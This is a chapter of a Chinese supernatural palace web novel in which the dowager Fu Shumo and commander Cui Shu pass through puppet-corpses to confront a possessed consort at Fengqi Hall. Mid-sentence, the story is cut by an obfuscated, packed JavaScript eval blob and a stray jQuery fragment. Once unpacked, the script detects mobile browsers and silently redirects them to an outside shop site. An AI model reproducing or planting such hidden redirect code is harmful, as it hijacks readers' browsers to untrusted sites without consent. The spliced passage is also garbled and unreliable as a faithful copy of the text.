远处火光之势并未减弱,她走到众人面前。
“你姓什么?”
那统领的目光中皆是怀疑,她注意到他的手始终紧握刀柄之上。
傅书墨道:“今夜恐怕是场硬仗,皇上有难,我得去救他,你跟我一起去。”
“我能相信您吗,您究竟……”
“时间不多,你若是不愿意,便罢了”
那统领的面色变换,满心挣扎难以掩饰。
外面,传来那些东西异于常人的吼叫,末了,他大声说道:“好,我这就跟您走!”
她再问一遍:“你姓什么?”
“崔,我叫崔述。”
“好,崔统领,记住今夜。”
阿缚在上面嗷嗷乱叫:“喂,你就这么走了?”
她连续不断地绞杀着下面的人傀,区区几次,便已经觉得筋疲力尽。
傅书墨道:“坚持一下,马上便会过来帮手。”
她神色诡异:“是无常爷吗?”
傅书墨脚步顿了一下,立即回道:“不是,是夜茴。”
“她?能叫点有用的不?”
傅书墨不回话,她再一次的冲下去。
门被那些东西撞得哐哐直响,几名侍卫牢牢的抵着门,阿缚在下方绞杀了冲锋最狠的一波人傀。
侍卫们堵门的压力缓解很多。
傅书墨道:“打开吧!”
他们正在仔细检查门是否有破损,听到娘娘的吩咐,都以为听错了!
傅书墨再次道:“打开。”
崔统领急道:“娘娘三思,这外面……我们若要出去,也可以从旁处想想法子。”触及到她的目光,崔统领沉默了,他站到了太后的前面,拔出刀来,沉声道:“开门。”
两名手下不敢违抗,打开了门,傅书墨的手举起,幽光冥灯的火笼罩着崔述,门外满眼血红的人傀扑了上来,临到跟前,却仿佛被未知力量震慑,再也不敢上前。
门在身后被很快关闭,崔述原本已经做好了恶战准备,但娘娘手中的那盏灯火照亮了自己脚下的路,也照的这些东西不敢上前,它们自发的为他们让出了一条路。
他从战战兢兢直到昂首阔步,走出很远,有几只远远的跟了上来,但更多的重新涌上了那道门。
前路一片黑暗:“娘娘,我们要去往何处?”
远处火光漫卷,她的手指却指向另外的方向。
“凤栖殿。”
崔述一愣,但他很快在前方引路。
身后的那几只人傀不远不近的跟着,他们走过一路,上下早已乱作一团,花园廊庑间乱象纷呈,人傀嘶吼着扑咬四散奔逃的宫人,凄厉的惊呼与挣扎声此起彼伏,傅书墨祭出锁魂链,一连救下数人。
她身披黑色的斗篷,一路下来,宫人们因为惧怕也并未仔细辨认,只是急于逃命。
然而崔述却心惊不已,这样走下来,看着她的目光已经复杂不清,可他不敢多问,始终走在太后的前侧,越是靠近凤栖殿,越发的感觉周身发冷。
“崔统领,稳住心神。”
凤栖殿外,隐约能够看到内里一片黑暗,殿前乌压压跪坐一片宫人,一动不动。
阴风四起,崔述行伍出身,不信鬼神,可今日种种全然颠覆往日认知,眼前乱象也让他心惊不已。殿前一众宫人尽数背身跪地,鸦雀无声,透着说不出的诡异。
他握刀的手微抖。
“不要怕!”傅书墨的声音在他身后响起,她的手轻轻往他背脊上一拍,一股暖流顷刻从头至脚涌上,令他略显僵硬的手脚舒展开来,浑身凝滞的寒意一扫而空。
他鼓起勇气,向前几步,将那刀锋抵在了跪在队伍最后的一名宫人后颈上。
“说,你们跪在这里做什么?”他低声呵斥。
那人的身形摇晃两下,缓缓的转过头来,没有瞳仁的血红的双眼,同方才那些人傀一般无二。崔述后退一步,但那人傀也只是这般的看着他,并未做出任何攻击。
傅书墨道:“我们进去。”
穿过这些麻木的人傀,二人推开了殿门。
内里漆黑,隐约听到女子咿咿呀呀在吟唱,听得人直起鸡皮疙瘩。
傅书墨制止住崔述:“崔统领,你不要进去。”
他怔怔的看着她,“只娘娘一人进去?”又看一眼那黑漆漆的恐怖之地,不知道是否该庆幸她不要自己进去。
“不,我要护着您。”
傅书墨递给他一沓符纸:“我有要事交代你做,你拿着这些定身符咒,给我盯住这些人傀,一旦有所动作,便定住它们,拍在他们后背最为稳妥。”
她绝对不信,这些人魁跪在这里没有任何用处。
这殿里的东西,无论如何也不能再让其再次跑掉。
崔述见她迈入门槛,恍若坠入猛兽之口,殿门无风自动,砰然紧闭。
他抬头看向这暗沉至极的天色,今夜之后,不知还能否等来明日朝阳破晓。
……
傅书墨的脚步放缓,穿过殿内飘荡的帷幔,离得那歌声越来越近。
幽光冥灯的鬼火陡然变大,映照出周围。
“母后,是你吗?”
歌声戛然而止,取而代之的是女子轻柔的声音。
傅书墨道:“是我,阿婉。”
“母后,我好苦啊,我该怎么办啊,我好痛啊啊啊啊!”
傅书墨的锁魂链烫的她手腕撩起一圈血泡,她紧紧的攥着链子的一端。
“阿婉,你出来,我还有法子,我告诉你!”
尖利的笑声穿透过来,仿佛就在耳边。
“哈哈哈,我不信你,我恨你,还我儿子,还我儿子来……”
傅书墨大惊失色,她已被附身。
“阿婉,你儿子,皇上嫡子,将来的天子,好端端的在凝晖殿中……”
啪嗒!
什么东西打到了她的手,幽光冥灯脱手,她急忙去拣灯,然而,那火焰却闪烁几下,彻底熄灭了!
傅书墨锁魂链飞出,迎头痛击对面那道鬼影,身后长长的帐幔却绕上她的脖颈,顷刻间便将她勒得失去所有力气。
那苍白的脸凑近了她,是傅庾婉的脸,但却白的彻底,没有瞳仁,“我要杀了你,我要杀了你,还我儿子,还我儿子来!”
陈玉容!
在被幽禁之前,蒋若的密信曾经送进来过,他查清了陈玉容的底细,在深宫中没有等来恩宠的女子在后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17608597|205829||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
宫中比比皆是,而她曾经诞下龙子,母凭子贵似乎指日可待,可惜那孩子是个傻子,最终也死于非命。
然而,身在宫中,如此命运的女人比比皆是。
似乎能够听到脖颈被勒的声响,傅书墨心中愤慨,她半人半鬼之躯,也会痛苦,又懊恼,凭什么次次都要旁人解难搭救,她自己难道就什么也做不了吗?
指尖结印,锁魂链熟稔的缠上去,被妖鬼陈玉容附身的傅庾婉却已经没有了踪影。
她明显感受到了比之上次,陈玉容的妖鬼之力大涨,定又吞噬了不少同类。
傅书墨得了呼吸,大口喘气,听到那头女鬼又在唱歌。
幽光冥灯躺在不远处,她上前拾起,妖鬼之力注入其中,却再也不亮了!
周遭越发的冷意刺骨,她咬破指尖,符纸在手,起势要画。
一双手却握住了她的指尖。
她心神一颤,抬头看到范无忆冷淡的眉眼。
“你要画什么?”
她抽出手,脑海中立刻回想起白泽告诉她的有关先前那位无常的事,不知为何,心中纷乱,“不用你管。”
“傅书墨!”他声音更低更急,“你可知道自己在做什么吗?方才你起势所要绘的是那老道留下的邪书中的散魂咒?”
她冷哼一声:“是有如何,所为散魂,便是散尽我的生魂,如此我便同她一般,为妖鬼,才可有一战之力。”
范无忆或许是气的狠了,她从没见他此番模样过,然而他再未质问她,只是走过来攥住了她的手,一面结印,向死剑穿梭在殿内,刺破那些高高挂起、遮遮掩掩的帐幔。弹指间,大殿便亮起了灯火。
傅书墨拾起幽光冥灯来,重新并拢指尖,将妖鬼之力注入灯芯之中,片刻,冥灯幽幽亮起,绿火在这殿中灿烂的明火中格外与众不同。
范无忆唤她:“娘娘……”
她循声回头,视线瞥见大殿的尽头,皇后常坐的榻上,端坐着两个人,一动不动,此刻正是神色复杂的看着他们。
惊恐、不可置信、疑惑、害怕……各种神情,俱有。
傅庾婉从他们身后走出,抿唇咯咯的笑着:“母后,我们的秘密被发现了呢!”
她有些烦躁的看着慕容朔:“这臭小子,我恨死他了,还有这个女人!”
贵妃的双眼黯淡,发丝凌乱,今夜被抓到此处,她已经晕了许多回了,现在,仍旧不负众望的晕了过去。
傅书墨道:“你要干什么?”
“我要吗?我还没想好,只是看你如今这副不人不鬼的模样,实在难堪,皇上既为天下之主,此事断无隐瞒的道理,毕竟,你是他至亲至敬的母后。”
慕容朔的目光仍旧难以置信,双唇喃喃:“原来那晚也并不是偶然。”
“偶然?什么是偶然?”傅庾婉的手轻轻的在他肩头抚摸。
“是必然啊,太后娘娘早就不对劲了,你以为她只是画画符而已吗,大错特错。”她指着范无忆:“瞧啊,她早与冥界之鬼暗通款曲,她是个鬼,为何还能留在人间?”
傅书墨欲上前去,范无忆仍旧拉着她,始终未曾放开。
慕容朔的目光投到他们紧握的双手上,缓缓的闭上了眼睛。